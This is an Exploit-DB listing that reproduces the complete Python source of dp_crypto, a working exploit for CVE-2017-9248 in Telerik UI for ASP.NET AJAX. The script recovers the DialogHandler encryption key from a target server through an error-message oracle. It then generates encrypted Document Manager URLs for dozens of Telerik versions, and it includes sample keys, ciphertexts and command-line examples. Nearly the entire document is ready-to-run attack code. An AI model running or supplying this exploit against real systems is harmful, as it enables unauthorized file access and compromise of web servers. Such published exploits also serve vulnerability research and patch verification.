Telerik UI for ASP.NET AJAX 2012.3.1308 < 2017.1.118 - Encryption Keys Disclosure

EDB-ID:

43873




Platform:

ASPX

Date:

2018-01-24


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# Exploit Title: Telerik UI for ASP.NET AJAX DialogHandler Dialog cracker
# Filename: dp_crypto.py
# Github: https://github.com/bao7uo/dp_crypto
# Date: 2018-01-23

# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog

# Version: Telerik UI for ASP.NET AJAX
# CVE: CVE-2017-9248
# Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/details/cryptographic-weakness

# Tested on: Working on versions 2012.3.1308 thru 2017.1.118 (.NET 35, 40, 45)

#!/usr/bin/python3

# Author: Paul Taylor / Foregenix Ltd

# https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py

# dp_crypto - CVE-2017-9248 exploit
# Telerik.Web.UI.dll Cryptographic compromise

# Warning - no cert warnings,
# and verify = False in code below prevents verification

import sys
import base64
import requests
import re
import binascii

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

requests_sent = 0
char_requests = 0


def get_result(plaintext, key, session, pad_chars):
    global requests_sent, char_requests

    url = sys.argv[2]
    base_pad = (len(key) % 4)
    base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
    dp_encrypted = base64.b64encode(
                                (encrypt(plaintext, key) + base).encode()
                            ).decode()
    request = requests.Request('GET', url + '?dp=' + dp_encrypted)
    request = request.prepare()
    response = session.send(request, verify=False)
    requests_sent += 1
    char_requests += 1

    match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
    return True \
        if match is not None \
        and match.group(2) == "Index was outside the bounds of the array." \
        else False


def test_keychar(keychar, found, session, pad_chars):
    base64chars = [
                    "A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
                    "D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
                    "G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
                    "J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
                    "M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
                    "P", "f", "v", "/"
                  ]

    duff = False
    accuracy_thoroughness_threshold = sys.argv[5]
    for bc in range(int(accuracy_thoroughness_threshold)):
                                                # ^^ max is len(base64chars)
        sys.stdout.write("\b\b" + base64chars[bc] + "]")
        sys.stdout.flush()
        if not get_result(
                      base64chars[0] * len(found) + base64chars[bc],
                      found + keychar, session, pad_chars
                      ):
            duff = True
            break
    return False if duff else True


def encrypt(dpdata, key):
    encrypted = []
    k = 0
    for i in range(len(dpdata)):
        encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
        k = 0 if k >= len(key) - 1 else k + 1
    return ''.join(str(e) for e in encrypted)


def mode_decrypt():
    ciphertext = base64.b64decode(sys.argv[2].encode()).decode()
    key = sys.argv[3]
    print(base64.b64decode(encrypt(ciphertext, key)).decode())
    print("")


def mode_encrypt():
    plaintext = sys.argv[2]
    key = sys.argv[3]

    plaintext = base64.b64encode(plaintext.encode()).decode()
    print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
    print("")


def test_keypos(key_charset, unprintable, found, session):
    pad_chars = ''
    for pad_char in range(256):
        pad_chars += chr(pad_char)

    for i in range(len(pad_chars)):
        for k in range(len(key_charset)):
            keychar = key_charset[k]
            sys.stdout.write("\b"*6)
            sys.stdout.write(
                        (
                            keychar
                            if unprintable is False
                            else '+'
                        ) +
                        ") [" + (
                            keychar
                            if unprintable is False
                            else '+'
                        ) +
                        "]"
                    )
            sys.stdout.flush()
            if test_keychar(keychar, found, session, pad_chars[i] * 3):
                return keychar
    return False


def get_key(session):
    global char_requests
    found = ''
    unprintable = False

    key_length = sys.argv[3]
    key_charset = sys.argv[4]
    if key_charset == 'all':
        unprintable = True
        key_charset = ''
        for i in range(256):
            key_charset += chr(i)
    else:
        if key_charset == 'hex':
            key_charset = '01234567890ABCDEF'

    print("Attacking " + sys.argv[2])
    print(
        "to find key of length [" +
        str(key_length) +
        "] with accuracy threshold [" +
        sys.argv[5] +
        "]"
    )
    print(
        "using key charset [" +
        (
            key_charset
            if unprintable is False
            else '- all ASCII -'
        ) +
        "]\n"
    )
    for i in range(int(key_length)):
        pos_str = (
            str(i + 1)
            if i > 8
            else "0" + str(i + 1)
        )
        sys.stdout.write("Key position " + pos_str + ": (------")
        sys.stdout.flush()
        keychar = test_keypos(key_charset, unprintable, found, session)
        if keychar is not False:
            found = found + keychar
            sys.stdout.write(
                          "\b"*7 + "{" +
                          (
                              keychar
                              if unprintable is False
                              else '0x' + binascii.hexlify(keychar.encode()).decode()
                          ) +
                          "} found with " +
                          str(char_requests) +
                          " requests, total so far: " +
                          str(requests_sent) +
                          "\n"
                      )
            sys.stdout.flush()
            char_requests = 0
        else:
            sys.stdout.write("\b"*7 + "Not found, quitting\n")
            sys.stdout.flush()
            break
    if keychar is not False:
        print("Found key: " +
              (
                found
                if unprintable is False
                else "(hex) " + binascii.hexlify(found.encode()).decode()
              )
              )
    print("Total web requests: " + str(requests_sent))
    return found


def mode_brutekey():
    session = requests.Session()
    found = get_key(session)

    if found == '':
        return
    else:
        urls = {}
        url_path = sys.argv[2]
        params = (
                    '?DialogName=DocumentManager' +
                    '&renderMode=2' +
                    '&Skin=Default' +
                    '&Title=Document%20Manager' +
                    '&dpptn=' +
                    '&isRtl=false' +
                    '&dp='
                  )
        versions = [
                    '2007.1423', '2007.1521', '2007.1626', '2007.2918',
                    '2007.21010', '2007.21107', '2007.31218', '2007.31314',
                    '2007.31425', '2008.1415', '2008.1515', '2008.1619',
                    '2008.2723', '2008.2826', '2008.21001', '2008.31105',
                    '2008.31125', '2008.31314', '2009.1311', '2009.1402',
                    '2009.1527', '2009.2701', '2009.2826', '2009.31103',
                    '2009.31208', '2009.31314', '2010.1309', '2010.1415',
                    '2010.1519', '2010.2713', '2010.2826', '2010.2929',
                    '2010.31109', '2010.31215', '2010.31317', '2011.1315',
                    '2011.1413', '2011.1519', '2011.2712', '2011.2915',
                    '2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
                    '2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
                    '2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
                    '2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
                    '2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
                    '2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
                    '2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
                    '2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
                    '2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
                    '2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
                    '2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
                    '2017.3.913'
                    ]

        plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
        plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
        plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
        plaintext3 = ';AllowMultipleSelection,False,3,False'

        for version in versions:
            plaintext2_raw2 = version
            plaintext2 = base64.b64encode(
                            (plaintext2_raw1 +
                                plaintext2_raw2 +
                                plaintext2_raw3
                             ).encode()
                        ).decode()
            plaintext = plaintext1 + plaintext2 + plaintext3
            plaintext = base64.b64encode(
                            plaintext.encode()
                        ).decode()
            ciphertext = base64.b64encode(
                            encrypt(
                                plaintext,
                                found
                            ).encode()
                        ).decode()
            full_url = url_path + params + ciphertext
            urls[version] = full_url

        found_valid_version = False
        for version in urls:
            url = urls[version]
            request = requests.Request('GET', url)
            request = request.prepare()
            response = session.send(request, verify=False)
            if response.status_code == 500:
                continue
            else:
                match = re.search(
                    "(Error Message:)(.+\n*.+)(</div>)",
                    response.text
                    )
                if match is None:
                    print(version + ": " + url)
                    found_valid_version = True
                    break

        if not found_valid_version:
            print("No valid version found")

def mode_samples():
    print("Samples for testing decryption and encryption functions:")
    print("-d ciphertext key")
    print("-e plaintext key")
    print("")
    print("Key:")
    print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
    print("")
    print("Plaintext:")
    print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
    print("")
    print("Ciphertext:")
    print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
    print("")


def mode_b64e():
    print(base64.b64encode(sys.argv[2].encode()).decode())
    print("")


def mode_b64d():
    print(base64.b64decode(sys.argv[2].encode()).decode())
    print("")


def mode_help():
    print("Usage:")
    print("")
    print("Decrypt a ciphertext:        -d ciphertext key")
    print("Encrypt a plaintext:         -e plaintext key")
    print("Bruteforce key/generate URL: -k url key_length key_charset accuracy")
    print("Encode parameter to base64:  -b plain_parameter")
    print("Decode base64 parameter:     -p encoded_parameter")
    print("")
    print("To test all ascii characters set key_charset to: all, " +
          "for upper case hex (e.g. machine key) set to hex.")
    print("")
    print("Maximum accuracy is out of 64 where 64 is the most accurate, " +
          "accuracy of 9 will usually suffice for a hex, but 21 or more " +
          "might be needed when testing all ascii characters.")
    print("Increase the accuracy argument if no valid version is found.")
    print("")
    print("Examples to generate a valid file manager URL:")
    print("./dp_crypto.py -k http://a/Telerik.Web.UI.DialogHandler.aspx 48 hex 9")
    print("./dp_crypto.py -k http://a/Telerik.Web.UI.DialogHandler.aspx 48 all 21")
    print("")


sys.stderr.write(
              "\ndp_crypto by Paul Taylor / Foregenix Ltd\nCVE-2017-9248 - " +
              "Telerik.Web.UI.dll Cryptographic compromise\n\n"
            )

if len(sys.argv) < 2:
    mode_help()

elif sys.argv[1] == "-d" and len(sys.argv) == 4:
    mode_decrypt()
elif sys.argv[1] == "-e" and len(sys.argv) == 4:
    mode_encrypt()
elif sys.argv[1] == "-k" and len(sys.argv) == 6:
    mode_brutekey()
elif sys.argv[1] == "-s" and len(sys.argv) == 2:
    mode_samples()
elif sys.argv[1] == "-b" and len(sys.argv) == 3:
    mode_b64e()
elif sys.argv[1] == "-p" and len(sys.argv) == 3:
    mode_b64d()
else:
    mode_help()